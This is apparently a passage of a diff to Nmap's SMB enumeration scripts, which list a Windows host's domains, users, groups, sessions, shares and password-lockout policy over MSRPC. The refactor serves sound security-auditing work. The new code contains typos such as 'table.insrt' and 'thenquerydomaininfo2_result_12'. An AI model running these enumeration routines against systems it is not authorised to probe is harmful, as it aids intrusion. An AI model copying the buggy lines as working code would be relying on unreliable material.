-- | |_ Creation time: 2007-11-26 15:24:04
-- | |_ Passwords: min length: n/a; min age: n/a; max age: 42 days
-- | |_ Account lockout disabled
-- | |_ Password properties:
-- | |_ Password complexity requirements do not exist
-- |_ |_ Administrator account cannot be locked out
----------------------------------------------------------------------- -----------------------------------------------------------------------
author = "Ron Bowes" author = "Ron Bowes"
@@ -63,46 +57,191 @@ require 'msrpc'
require 'smb' require 'smb'
require 'stdnse' require 'stdnse'
-- TODO: This script needs some love...
hostrule = function(host) hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
local function get_domain_info(smbstate, domain)
local sid
local domain_handle
-- Call LookupDomain()
status, lookupdomain_result = msrpc.samr_lookupdomain(smbstate, connect_handle, domain)
if(status == false) then
return false, "Couldn't look up the domain: " .. lookupdomain_result
end
-- Save the sid
sid = lookupdomain_result['sid']
-- Call OpenDomain()
status, opendomain_result = msrpc.samr_opendomain(smbstate, connect_handle, sid)
if(status == false) then
return false, opendomain_result
end
-- Save the domain handle
domain_handle = opendomain_result['domain_handle']
-- Call QueryDomainInfo2() to get domain properties. We call these for three types -- 1, 8, and 12, since those return
-- the most useful information.
status_1, querydomaininfo2_result_1 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 1)
status_8, querydomaininfo2_result_8 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 8)
status_12, querydomaininfo2_result_12 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 12)
if(status_1 == false) then
return false, querydomaininfo2_result_1
end
if(status_8 == false) then
return false, querydomaininfo2_result_8
end
if(status_12 == false) then
return false, thenquerydomaininfo2_result_12
end
-- Call EnumDomainUsers() to get users
status, enumdomainusers_result = msrpc.samr_enumdomainusers(smbstate, domain_handle)
if(status == false) then
return false, enumdomainusers_result
end
-- Call EnumDomainAliases() to get groups
local status, enumdomaingroups_result = msrpc.samr_enumdomainaliases(smbstate, domain_handle)
if(status == false) then
return false, enumdomaingroups_result
end
-- Close the domain handle
msrpc.samr_close(smbstate, domain_handle)
-- Create a list of groups
local groups = {}
if(enumdomaingroups_result['sam'] ~= nil and enumdomaingroups_result['sam']['entries'] ~= nil) then
for _, group in ipairs(enumdomaingroups_result['sam']['entries']) do
table.insert(groups, group.name)
end
end
-- Create the list of users
local names = {}
if(enumdomainusers_result['sam'] ~= nil and enumdomainusers_result['sam']['entries'] ~= nil) then
for _, name in ipairs(enumdomainusers_result['sam']['entries']) do
table.insert(names, name.name)
end
end
-- Our output table
local response = {}
-- Finally, start filling in the response!
response['name'] = string.format("%s (%s)", domain, sid)
-- Add the list of groups as a comma-separated list
if(groups and (#groups > 0)) then
table.insert(response, string.format("Groups: %s", stdnse.strjoin(", ", groups)))
else
table.insert(response, string.format("Groups: n/a"))
end
-- Add the list of users as a comma-separated list
if(names and (#names > 0)) then
table.insert(response, string.format("Users: %s", stdnse.strjoin(", ", names)))
else
table.insert(response, string.format("Users: n/a"))
end
if(querydomaininfo2_result_8['info']['domain_create_time'] ~= 0) then
table.insert(response, string.format("Creation time: %s", os.date("%Y-%m-%d %H:%M:%S", querydomaininfo2_result_8['info']['domain_create_time'])))
end
-- Password characteristics
local min_password_length = querydomaininfo2_result_1['info']['min_password_length']
local max_password_age = querydomaininfo2_result_1['info']['max_password_age'] / 60 / 60 / 24
local min_password_age = querydomaininfo2_result_1['info']['min_password_age'] / 60 / 60 / 24
local password_history = querydomaininfo2_result_1['info']['password_history_length']
if(min_password_length > 0) then
min_password_length = string.format("%d characters", min_password_length)
else
min_password_length = "n/a"
end
if(max_password_age > 0 and max_password_age < 5000) then
max_password_age = string.format("%d days", max_password_age)
else
max_password_age = "n/a"
end
if(min_password_age > 0) then
min_password_age = string.format("%d days", min_password_age)
else
min_password_age = "n/a"
end
if(password_history > 0) then
password_history = string.format("%d passwords", password_history)
else
password_history = "n/a"
end
table.insert(response, string.format("Passwords: min length: %s; min age: %s; max age: %s; history: %s", min_password_length, min_password_age, max_password_age, password_history))
local lockout_duration = querydomaininfo2_result_12['info']['lockout_duration']
if(lockout_duration < 0) then
lockout_duration = string.format("for %d minutes", querydomaininfo2_result_12['info']['lockout_duration'])
else
lockout_duration = "until manually reset"
end
if(querydomaininfo2_result_12['info']['lockout_threshold'] > 0) then
table.insert(response, string.format("Password lockout: %d attempts in under %d minutes will lock the account %s", querydomaininfo2_result_12['info']['lockout_threshold'], querydomaininfo2_result_12['info']['lockout_window'] / 60, lockout_duration))
else
table.insert(response, string.format("Account lockout disabled"))
end
local password_properties = querydomaininfo2_result_1['info']['password_properties']
if(#password_properties > 0) then
local password_properties_response = {}
password_properties_response['name'] = "Password properties:"
for j = 1, #password_properties, 1 do
table.insert(password_properties_response, msrpc.samr_PasswordProperties_tostr(password_properties[j]))
end
table.insert(response, password_properties_response)
end
return true, response
end
action = function(host) action = function(host)
local response = " \n" local response = {}
local status, smbstate local status, smbstate
local i, j local i, j
-- Create the SMB session -- Create the SMB session
status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH) status, smbstate = msrpc.start_smb(host, msrpc.SAMR_PATH)
if(status == false) then if(status == false) then
if(nmap.debugging() > 0) then return stdnse.format_output(false, smbstate)
return "ERROR: " .. smbstate
else
return nil
end
end end
-- Bind to SAMR service -- Bind to SAMR service
status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil) status, bind_result = msrpc.bind(smbstate, msrpc.SAMR_UUID, msrpc.SAMR_VERSION, nil)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) return stdnse.format_output(false, bind_result)
if(nmap.debugging() > 0) then
return "ERROR: " .. bind_result
else
return nil
end
end end
-- Call connect4() -- Call connect4()
status, connect4_result = msrpc.samr_connect4(smbstate, host.ip) status, connect4_result = msrpc.samr_connect4(smbstate, host.ip)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) return stdnse.format_output(false, connect4_result)
if(nmap.debugging() > 0) then
return "ERROR: " .. connect4_result
else
return nil
end
end end
-- Save the connect_handle -- Save the connect_handle
@@ -111,170 +250,27 @@ action = function(host)
-- Call EnumDomains() -- Call EnumDomains()
status, enumdomains_result = msrpc.samr_enumdomains(smbstate, connect_handle) status, enumdomains_result = msrpc.samr_enumdomains(smbstate, connect_handle)
if(status == false) then if(status == false) then
msrpc.stop_smb(smbstate) return stdnse.format_output(false, enumdomains_result)
if(nmap.debugging() > 0) then
return "ERROR: " .. enumdomains_result
else
return nil
end
end end
-- If no domains were returned, print an error (I don't expect this will actually happen) -- If no domains were returned, print an error (I don't expect this will actually happen)
if(#enumdomains_result['sam']['entries'] == 0) then if(#enumdomains_result['sam']['entries'] == 0) then
if(nmap.debugging() > 0) then return stdnse.format_output(false, "Couldn't find any domains")
return "ERROR: Couldn't find any domains to check"
else
return nil
end
end end
for i = 1, #enumdomains_result['sam']['entries'], 1 do for i = 1, #enumdomains_result['sam']['entries'], 1 do
local domain = enumdomains_result['sam']['entries'][i]['name'] local domain = enumdomains_result['sam']['entries'][i]['name']
local sid local status, domain_info = get_domain_info(smbstate, domain)
local domain_handle
-- Call LookupDomain() if(not(status)) then
status, lookupdomain_result = msrpc.samr_lookupdomain(smbstate, connect_handle, domain) local error_table = {}
if(status == false) then error_table['name'] = "Domain: " .. domain
msrpc.stop_smb(smbstate) error_table['warning'] = "Couldn't get info for the domain: " .. domain_info
if(nmap.debugging() > 0) then table.insert(response, error_table)
return "ERROR: " .. lookupdomain_result
else
return nil
end
end
-- Save the sid
sid = lookupdomain_result['sid']
-- Call OpenDomain()
status, opendomain_result = msrpc.samr_opendomain(smbstate, connect_handle, sid)
if(status == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. opendomain_result
else
return nil
end
end
-- Save the domain handle
domain_handle = opendomain_result['domain_handle']
-- Call QueryDomainInfo2() to get domain properties. We call these for three types -- 1, 8, and 12, since those return
-- the most useful information.
status_1, querydomaininfo2_result_1 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 1)
status_8, querydomaininfo2_result_8 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 8)
status_12, querydomaininfo2_result_12 = msrpc.samr_querydomaininfo2(smbstate, domain_handle, 12)
if(status_1 == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. querydomaininfo2_result_1
else
return nil
end
end
if(status_8 == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. querydomaininfo2_result_8
else
return nil
end
end
if(status_12 == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0) then
return "ERROR: " .. querydomaininfo2_result_12
else
return nil
end
end
-- Call EnumDomainUsers() to get users
status, enumdomainusers_result = msrpc.samr_enumdomainusers(smbstate, domain_handle)
if(status == false) then
msrpc.stop_smb(smbstate)
if(nmap.debugging() > 0 and enumdomainusers_result ~= nil) then
return "ERROR: " .. enumdomainusers_result
else
return nil
end
end
-- Close the domain handle
msrpc.samr_close(smbstate, domain_handle)
-- Create the list of users
local names = {}
if(enumdomainusers_result['sam'] ~= nil and enumdomainusers_result['sam']['entries'] ~= nil) then
for j = 1, #enumdomainusers_result['sam']['entries'], 1 do
local name = enumdomainusers_result['sam']['entries'][j]['name']
names[#names + 1] = name
end
end
-- Finally, fill in the response!
response = response .. string.format("Domain: %s\n", domain)
response = response .. string.format(" |_ SID: %s\n", lookupdomain_result['sid'])
if(#names ~= 0) then
response = response .. string.format(" |_ Users: %s\n", stdnse.strjoin(", ", names))
end
if(querydomaininfo2_result_8['info']['domain_create_time'] ~= 0) then
response = response .. string.format(" |_ Creation time: %s\n", os.date("%Y-%m-%d %H:%M:%S", querydomaininfo2_result_8['info']['domain_create_time']))
end
-- Password characteristics
local min_password_length = querydomaininfo2_result_1['info']['min_password_length']
local max_password_age = querydomaininfo2_result_1['info']['max_password_age'] / 60 / 60 / 24
local min_password_age = querydomaininfo2_result_1['info']['min_password_age'] / 60 / 60 / 24
if(min_password_length > 0) then
min_password_length = string.format("%d characters", min_password_length)
else else
min_password_length = "n/a" table.insert(response, domain_info)
end end
if(max_password_age > 0 and max_password_age < 5000) then
max_password_age = string.format("%d days", max_password_age)
else
max_password_age = "n/a"
end
if(min_password_age > 0) then
min_password_age = string.format("%d days", min_password_age)
else
min_password_age = "n/a"
end
response = response .. string.format(" |_ Passwords: min length: %s; min age: %s; max age: %s\n", min_password_length, min_password_age, max_password_age)
local lockout_duration = querydomaininfo2_result_12['info']['lockout_duration']
if(lockout_duration < 0) then
lockout_duration = string.format("for %d minutes", querydomaininfo2_result_12['info']['lockout_duration'])
else
lockout_duration = "until manually reset"
end
if(querydomaininfo2_result_12['info']['lockout_threshold'] > 0) then
response = response .. string.format(" |_ Password lockout: %d attempts in under %d minutes will lock the account %s\n", querydomaininfo2_result_12['info']['lockout_threshold'], querydomaininfo2_result_12['info']['lockout_window'] / 60, lockout_duration)
else
response = response .. string.format(" |_ Account lockout disabled\n")
end
if(querydomaininfo2_result_1['info']['password_history_length']) > 0 then
response = response .. string.format(" |_ Password history: %d passwords\n", querydomaininfo2_result_1['info']['password_history_length'])
end
local password_properties = querydomaininfo2_result_1['info']['password_properties']
if(#password_properties > 0) then
response = response .. " |_ Password properties:\n"
for j = 1, #password_properties, 1 do
response = response .. " |_ " .. msrpc.samr_PasswordProperties_tostr(password_properties[j]) .. "\n"
end
end
end end
-- Close the connect handle -- Close the connect handle
@@ -283,8 +279,6 @@ action = function(host)
-- Close the SMB session -- Close the SMB session
msrpc.stop_smb(smbstate) msrpc.stop_smb(smbstate)
return response return stdnse.format_output(true, response)
end end

View File

@@ -0,0 +1,92 @@
description = [[
Obtains a list of groups from the remote Windows system, as well as a list of the group's users.
This works similarly to enum.exe with the /G switch.
The following MSRPC functions in SAMR are used to find a list of groups and the RIDs of their users. Keep
in mind thatMSRPC refers to groups as 'Aliases'.
* <code>Bind</code>: bind to the SAMR service.
* <code>Connect4</code>: get a connect_handle.
* <code>EnumDomains</code>: get a list of the domains.
* <code>LookupDomain</code>: get the RID of the domains.
* <code>OpenDomain</code>: get a handle for each domain.
* <code>EnumDomainAliases</code>: get the list of groups in the domain.
* <code>OpenAlias</code>: get a handle to each group.
* <code>GetMembersInAlias</code>: get the RIDs of the members in the groups.
* <code>Close</code>: close the alias handle.
* <code>Close</code>: close the domain handle.
* <code>Close</code>: close the connect handle.
Once the RIDs have been termined, the
* <code>Bind</code>: bind to the LSA service.
* <code>OpenPolicy2</code>: get a policy handle.
* <code>LookupSids2</code>: convert SIDs to usernames.
I (Ron Bowes) originally looked into the possibility of using the SAMR function <code>LookupRids2</code>
to convert RIDs to usernames, but the function seemed to return a fault no matter what I tried. Since
enum.exe also switches to LSA to convert RIDs to usernames, I figured they had the same issue and I do
the same thing.
]]
---
-- @usage
-- nmap --script smb-enum-users.nse -p445 <host>
-- sudo nmap -sU -sS --script smb-enum-users.nse -p U:137,T:139 <host>
--
-- @output
-- Host script results:
-- | smb-enum-groups:
-- | | WINDOWS2003\HelpServicesGroup: SUPPORT_388945a0
-- | | WINDOWS2003\IIS_WPG: SYSTEM, SERVICE, NETWORK SERVICE, IWAM_WINDOWS2003
-- | | WINDOWS2003\TelnetClients: <empty>
-- | | Builtin\Print Operators: <empty>
-- | | Builtin\Replicator: <empty>
-- | | Builtin\Network Configuration Operators: <empty>
-- | | Builtin\Performance Monitor Users: <empty>
-- | | Builtin\Users: INTERACTIVE, Authenticated Users, ron, ASPNET, test
-- | | Builtin\Power Users: <empty>
-- | | Builtin\Backup Operators: <empty>
-- | | Builtin\Remote Desktop Users: <empty>
-- | | Builtin\Administrators: Administrator, ron, test
-- | | Builtin\Performance Log Users: NETWORK SERVICE
-- | | Builtin\Guests: Guest, IUSR_WINDOWS2003
-- |_ |_ Builtin\Distributed COM Users: <empty>
-----------------------------------------------------------------------
author = "Ron Bowes"
copyright = "Ron Bowes"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"discovery","intrusive"}
require 'msrpc'
require 'smb'
require 'stdnse'
hostrule = function(host)
return smb.get_port(host) ~= nil
end
action = function(host)
local status, groups = msrpc.samr_enum_groups(host)
if(not(status)) then
return stdnse.format_output(false, "Couldn't enumerate groups: " .. groups)
end
local response = {}
for domain_name, domain_data in pairs(groups) do
for rid, group_data in pairs(domain_data) do
local members = group_data['members']
if(#members > 0) then
members = stdnse.strjoin(", ", group_data['members'])
else
members = "<empty>"
end
table.insert(response, string.format("%s\\%s (RID: %s): %s", domain_name, group_data['name'], rid, members))
end
end
return stdnse.format_output(true, response)
end

View File

@@ -25,7 +25,7 @@ impact the system, besides showing a message box to the user.
-- @output -- @output
-- Host script results: -- Host script results:
-- | smb-enum-processes: -- | smb-enum-processes:
-- |_ Idle, System, smss, csrss, winlogon, services, logon.scr, lsass, spoolsv, msdtc, VMwareService, svchost, alg, explorer, VMwareTray, VMwareUser, wmiprvse -- |_ |_ Idle, System, smss, csrss, winlogon, services, logon.scr, lsass, spoolsv, msdtc, VMwareService, svchost, alg, explorer, VMwareTray, VMwareUser, wmiprvse
-- --
-- -- -- --
-- Host script results: -- Host script results:
@@ -281,7 +281,7 @@ action = function(host)
-- Produce final output. -- Produce final output.
if nmap.verbosity() == 0 then if nmap.verbosity() == 0 then
response = stdnse.strjoin(", ", names) response = "|_ " .. stdnse.strjoin(", ", names)
else else
response = " \n" .. psl_print(psl, nmap.verbosity()) response = " \n" .. psl_print(psl, nmap.verbosity())
end end

View File

@@ -48,7 +48,7 @@ the system, besides showing a message box to the user.
-- Host script results: -- Host script results:
-- | smb-enum-sessions: -- | smb-enum-sessions:
-- | Users logged in: -- | Users logged in:
-- | |_ TESTBOX\Administrator since 2008-10-21 08:17:14 -- | | TESTBOX\Administrator since 2008-10-21 08:17:14
-- | |_ DOMAIN\rbowes since 2008-10-20 09:03:23 -- | |_ DOMAIN\rbowes since 2008-10-20 09:03:23
-- | Active SMB Sessions: -- | Active SMB Sessions:
-- |_ |_ ADMINISTRATOR is connected from 10.100.254.138 for [just logged in, it's probably you], idle for [not idle] -- |_ |_ ADMINISTRATOR is connected from 10.100.254.138 for [just logged in, it's probably you], idle for [not idle]
@@ -264,39 +264,41 @@ end
action = function(host) action = function(host)
-- TRACEBACK[coroutine.running()] = true; -- TRACEBACK[coroutine.running()] = true;
local response = " \n" local response = {}
local status1, status2 local status1, status2
-- Enumerate the logged in users -- Enumerate the logged in users
local logged_in = {}
logged_in['name'] = "Users logged in"
status1, users = winreg_enum_rids(host) status1, users = winreg_enum_rids(host)
if(status1 == false) then if(status1 == false) then
response = response .. "ERROR: Couldn't enumerate login sessions: " .. users .. "\n" logged_in['warning'] = "Couldn't enumerate login sessions: " .. users
else else
response = response .. "Users logged in:\n"
if(#users == 0) then if(#users == 0) then
response = response .. "|_ <nobody>\n" table.insrt(response, "<nobody>")
else else
for i = 1, #users, 1 do for i = 1, #users, 1 do
if(users[i]['name'] ~= nil) then if(users[i]['name'] ~= nil) then
response = response .. string.format("|_ %s\\%s since %s\n", users[i]['domain'], users[i]['name'], users[i]['changed_date']) table.insert(logged_in, string.format("%s\\%s since %s", users[i]['domain'], users[i]['name'], users[i]['changed_date']))
end end
end end
end end
end end
table.insert(response, logged_in)
-- Get the connected sessions -- Get the connected sessions
local sessions_output = {}
sessions_output['name'] = "Active SMB sessions"
status2, sessions = srvsvc_enum_sessions(host) status2, sessions = srvsvc_enum_sessions(host)
if(status2 == false) then if(status2 == false) then
response = response .. "ERROR: Couldn't enumerate network sessions: " .. sessions .. "\n" sessions['warning'] = "Couldn't enumerate network sessions: " .. sessions
else else
response = response .. "Active SMB Sessions:\n"
if(#sessions == 0) then if(#sessions == 0) then
response = response .. "|_ <none>\n" table.insert(sessions_output, "<none>")
else else
-- Format the result -- Format the result
for i = 1, #sessions, 1 do for i = 1, #sessions, 1 do
local time = sessions[i]['time'] local time = sessions[i]['time']
if(time == 0) then if(time == 0) then
time = "[just logged in, it's probably you]" time = "[just logged in, it's probably you]"
@@ -318,21 +320,14 @@ action = function(host)
else else
idle_time = string.format("%02dm%02ds", idle_time / 60, idle_time % 60) idle_time = string.format("%02dm%02ds", idle_time / 60, idle_time % 60)
end end
response = response .. string.format("|_ %s is connected from %s for %s, idle for %s\n", sessions[i]['user'], sessions[i]['client'], time, idle_time) table.insert(sessions_output, string.format("%s is connected from %s for %s, idle for %s", sessions[i]['user'], sessions[i]['client'], time, idle_time))
end end
end end
end end
table.insert(response, sessions_output)
if(status1 == false and status2 == false) then return stdnse.format_output(true, response)
if(nmap.debugging() > 0) then
return response
else
return nil
end
else
return response
end
end end

View File

@@ -29,36 +29,28 @@ for shares that require a user account.
-- --
--@output --@output
-- Host script results: -- Host script results:
-- | smb-enum-shares: -- | smb-enum-shares:
-- | ADMIN$ -- | | ADMIN$
-- | |_ Type: STYPE_DISKTREE_HIDDEN -- | | | Type: STYPE_DISKTREE_HIDDEN
-- | |_ Comment: Remote Admin -- | | | Comment: Remote Admin
-- | |_ Users: 0, Max: <unlimited> -- | | | Users: 0, Max: <unlimited>
-- | |_ Path: C:\WINNT -- | | | Path: C:\WINNT
-- | |_ Anonymous access: <none> -- | | | Anonymous access: <none>
-- | |_ Current user ('test') access: READ/WRITE -- | | |_ Current user ('administrator') access: READ/WRITE
-- | C$ -- | | C$
-- | |_ Type: STYPE_DISKTREE_HIDDEN -- | | | Type: STYPE_DISKTREE_HIDDEN
-- | |_ Comment: Default share -- | | | Comment: Default share
-- | |_ Users: 0, Max: <unlimited> -- | | | Users: 0, Max: <unlimited>
-- | |_ Path: C:\ -- | | | Path: C:\
-- | |_ Anonymous access: <none> -- | | | Anonymous access: <none>
-- | |_ Current user ('test') access: READ -- | | |_ Current user ('administrator') access: READ
-- | IPC$ -- | | IPC$
-- | |_ Type: STYPE_IPC_HIDDEN -- | | | Type: STYPE_IPC_HIDDEN
-- | |_ Comment: Remote IPC -- | | | Comment: Remote IPC
-- | |_ Users: 1, Max: <unlimited> -- | | | Users: 1, Max: <unlimited>
-- | |_ Path: -- | | | Path:
-- | |_ Anonymous access: READ <not a file share> -- | | | Anonymous access: READ <not a file share>
-- | |_ Current user ('test') access: READ <not a file share> -- |_ |_ |_ Current user ('administrator') access: READ <not a file share>
-- | test
-- | |_ Type: STYPE_DISKTREE
-- | |_ Comment: This is a test share, with a maximum of 7 users
-- | |_ Users: 0, Max: 7
-- | |_ Path: C:\Documents and Settings\Ron\Desktop\test
-- | |_ Anonymous access: <none>
-- |_ |_ Current user ('test') access: READ/WRITE
----------------------------------------------------------------------- -----------------------------------------------------------------------
author = "Ron Bowes" author = "Ron Bowes"
@@ -74,14 +66,14 @@ hostrule = function(host)
return smb.get_port(host) ~= nil return smb.get_port(host) ~= nil
end end
local function go(host) action = function(host)
local status, shares, extra local status, shares, extra
local response = " \n" local response = {}
-- Get the list of shares -- Get the list of shares
status, shares, extra = smb.share_get_list(host) status, shares, extra = smb.share_get_list(host)
if(status == false) then if(status == false) then
return false, string.format("Couldn't enumerate shares: %s", shares) return stdnse.format_output(false, string.format("Couldn't enumerate shares: %s", shares))
end end
-- Find out who the current user is -- Find out who the current user is
@@ -91,25 +83,24 @@ local function go(host)
domain = "" domain = ""
end end
if(extra ~= nil) then if(extra ~= nil and extra ~= '') then
response = response .. extra .. "\n" table.insert(response, extra)
end end
for i = 1, #shares, 1 do for i = 1, #shares, 1 do
local share = shares[i] local share = shares[i]
local share_output = {}
share_output['name'] = share['name']
-- Start generating a human-readable string
response = response .. share['name'] .. "\n"
if(type(share['details']) ~= 'table') then if(type(share['details']) ~= 'table') then
response = response .. string.format("|_ Couldn't get details for share: %s\n", share['details']) share_output['warning'] = string.format("Couldn't get details for share: %s", share['details'])
else else
local details = share['details'] local details = share['details']
response = response .. string.format("|_ Type: %s\n", details['sharetype']) table.insert(share_output, string.format("Type: %s", details['sharetype']))
response = response .. string.format("|_ Comment: %s\n", details['comment']) table.insert(share_output, string.format("Comment: %s", details['comment']))
response = response .. string.format("|_ Users: %s, Max: %s\n", details['current_users'], details['max_users']) table.insert(share_output, string.format("Users: %s, Max: %s", details['current_users'], details['max_users']))
response = response .. string.format("|_ Path: %s\n", details['path']) table.insert(share_output, string.format("Path: %s", details['path']))
end end
@@ -117,64 +108,47 @@ local function go(host)
if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then if(share['user_can_write'] == "NT_STATUS_OBJECT_NAME_NOT_FOUND") then
-- Print details for a non-file share -- Print details for a non-file share
if(share['anonymous_can_read']) then if(share['anonymous_can_read']) then
response = response .. "|_ Anonymous access: READ <not a file share>\n" table.insert(share_output, "Anonymous access: READ <not a file share>")
else else
response = response .. "|_ Anonymous access: <none> <not a file share>\n" table.insert(share_output, "Anonymous access: <none> <not a file share>")
end end
-- Don't bother printing this if we're already anonymous -- Don't bother printing this if we're already anonymous
if(username ~= '') then if(username ~= '') then
if(share['user_can_read']) then if(share['user_can_read']) then
response = response .. "|_ Current user ('" .. username .. "') access: READ <not a file share>\n" table.insert(share_output, "Current user ('" .. username .. "') access: READ <not a file share>")
else else
response = response .. "|_ Current user ('" .. username .. "') access: <none> <not a file share>\n" table.insert(share_output, "Current user ('" .. username .. "') access: <none> <not a file share>")
end end
end end
else else
-- Print details for a file share -- Print details for a file share
if(share['anonymous_can_read'] and share['anonymous_can_write']) then if(share['anonymous_can_read'] and share['anonymous_can_write']) then
response = response .. "|_ Anonymous access: READ/WRITE\n" table.insert(share_output, "Anonymous access: READ/WRITE")
elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then elseif(share['anonymous_can_read'] and not(share['anonymous_can_write'])) then
response = response .. "|_ Anonymous access: READ\n" table.insert(share_output, "Anonymous access: READ")
elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then elseif(not(share['anonymous_can_read']) and share['anonymous_can_write']) then
response = response .. "|_ Anonymous access: WRITE\n" table.insert(share_output, "Anonymous access: WRITE")
else else
response = response .. "|_ Anonymous access: <none>\n" table.insert(share_output, "Anonymous access: <none>")
end end
if(username ~= '') then if(username ~= '') then
if(share['user_can_read'] and share['user_can_write']) then if(share['user_can_read'] and share['user_can_write']) then
response = response .. "|_ Current user ('" .. username .. "') access: READ/WRITE\n" table.insert(share_output, "Current user ('" .. username .. "') access: READ/WRITE")
elseif(share['user_can_read'] and not(share['user_can_write'])) then elseif(share['user_can_read'] and not(share['user_can_write'])) then
response = response .. "|_ Current user ('" .. username .. "') access: READ\n" table.insert(share_output, "Current user ('" .. username .. "') access: READ")
elseif(not(share['user_can_read']) and share['user_can_write']) then elseif(not(share['user_can_read']) and share['user_can_write']) then
response = response .. "|_ Current user ('" .. username .. "') access: WRITE\n" table.insert(share_output, "Current user ('" .. username .. "') access: WRITE")
else else
response = response .. "|_ Current user ('" .. username .. "') access: <none>\n" table.insert(share_output, "Current user ('" .. username .. "') access: <none>")
end end
end end
end end
table.insert(response, share_output)
end end
return true, response return stdnse.format_output(true, response)
end end
action = function(host)
local status, result
status, result = go(host)
if(status == false) then
if(nmap.debugging() > 0) then
return "ERROR: " .. result
end
else
return result
end
end

View File

@@ -99,42 +99,30 @@ the code I wrote for this is largely based on the techniques used by them.
-- @output -- @output
-- Host script results: -- Host script results:
-- | smb-enum-users: -- | smb-enum-users:
-- |_ TESTBOX\Administrator, EXTERNAL\DnsAdmins, TESTBOX\Guest, -- |_ |_ Domain: RON-WIN2K-TEST; Users: Administrator, Guest, IUSR_RON-WIN2K-TEST, IWAM_RON-WIN2K-TEST, test1234, TsInternetUser
-- EXTERNAL\HelpServicesGroup, EXTERNAL\PARTNERS$, TESTBOX\SUPPORT_388945a0
-- --
-- Host script results: -- Host script results:
-- | smb-enum-users: -- | smb-enum-users:
-- | Administrator -- | | RON-WIN2K-TEST\Administrator (RID: 500)
-- | |_ Type: User -- | | | Description: Built-in account for administering the computer/domain
-- | |_ Domain: LOCALSYSTEM -- | | |_ Flags: Password does not expire, Normal user account
-- | |_ Full name: Built-in account for administering the computer/domain -- | | RON-WIN2K-TEST\Guest (RID: 501)
-- | |_ Flags: Normal account, Password doesn't expire -- | | | Description: Built-in account for guest access to the computer/domain
-- | DnsAdmins -- | | |_ Flags: Password not required, Password does not expire, Normal user account
-- | |_ Type: Alias -- | | RON-WIN2K-TEST\IUSR_RON-WIN2K-TEST (RID: 1001)
-- | |_ Domain: EXTRANET -- | | | Full name: Internet Guest Account
-- | EventViewer -- | | | Description: Built-in account for anonymous access to Internet Information Services
-- | |_ Type: User -- | | |_ Flags: Password not required, Password does not expire, Normal user account
-- | |_ Domain: SHARED -- | | RON-WIN2K-TEST\IWAM_RON-WIN2K-TEST (RID: 1002)
-- | ProxyUsers -- | | | Full name: Launch IIS Process Account
-- | |_ Type: Group -- | | | Description: Built-in account for Internet Information Services to start out of process applications
-- | |_ Domain: EXTRANET -- | | |_ Flags: Password not required, Password does not expire, Normal user account
-- | ComputerAccounts -- | | RON-WIN2K-TEST\test1234 (RID: 1005)
-- | |_ Type: Group -- | | |_ Flags: Normal user account
-- | |_ Domain: EXTRANET -- | | RON-WIN2K-TEST\TsInternetUser (RID: 1000)
-- | Helpdesk -- | | | Full name: TsInternetUser
-- | |_ Type: Group -- | | | Description: This user account is used by Terminal Services.
-- | |_ Domain: EXTRANET -- |_ |_ |_ Flags: Password not required, Password does not expire, Normal user account
-- | Guest
-- | |_ Type: User
-- | |_ Domain: LOCALSYSTEM
-- | |_ Full name: Built-in account for guest access to the computer/domain
-- | |_ Flags: Normal account, Disabled, Password not required, Password doesn't expire
-- | Staff
-- | |_ Type: Alias
-- | |_ Domain: LOCALSYSTEM
-- | Students
-- | |_ Type: Alias
-- |_ |_ Domain: LOCALSYSTEM
-- --
-- @args lsaonly If set, script will only enumerate using an LSA bruteforce (requires less -- @args lsaonly If set, script will only enumerate using an LSA bruteforce (requires less
-- access than samr). Only set if you know what you're doing, you'll get better results -- access than samr). Only set if you know what you're doing, you'll get better results
@@ -165,112 +153,109 @@ action = function(host)
local samr_result = "Didn't run" local samr_result = "Didn't run"
local lsa_result = "Didn't run" local lsa_result = "Didn't run"
local names = {} local names = {}
local name_strings = {} local names_lookup = {}
local response = " \n" local response = {}
local samronly = nmap.registry.args.samronly local samronly = nmap.registry.args.samronly
local lsaonly = nmap.registry.args.lsaonly local lsaonly = nmap.registry.args.lsaonly
local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil) local do_samr = samronly ~= nil or (samronly == nil and lsaonly == nil)
local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil) local do_lsa = lsaonly ~= nil or (samronly == nil and lsaonly == nil)
-- Try enumerating through LSA first. Since LSA provides less information, we want the -- Try enumerating through SAMR. This is the better source of information, if we can get it.
-- SAMR result to overwrite it. if(do_samr) then
if(do_lsa) then samr_status, samr_result = msrpc.samr_enum_users(host)
lsa_status, lsa_result = msrpc.lsa_enum_users(host)
if(lsa_status == false) then if(samr_status) then
if(nmap.debugging() > 0) then -- Copy the returned array into the names[] table
response = response .. "ERROR: Couldn't enumerate through LSA: " .. lsa_result .. "\n" stdnse.print_debug(2, "EnumUsers: Received %d names from SAMR", #samr_result)
end for i = 1, #samr_result, 1 do
else -- Insert the full info into the names list
-- Copy the returned array into the names[] table, using the name as the key table.insert(names, samr_result[i])
stdnse.print_debug(2, "EnumUsers: Received %d names from LSA", #lsa_result) -- Set the names_lookup value to 'true' to avoid duplicates
for i = 1, #lsa_result, 1 do names_lookup[samr_result[i]['name']] = true
if(lsa_result[i]['name'] ~= nil) then
names[string.upper(lsa_result[i]['name'])] = lsa_result[i]
end
end end
end end
end end
-- Try enumerating through SAMR -- Try enumerating through LSA.
if(do_samr) then if(do_lsa) then
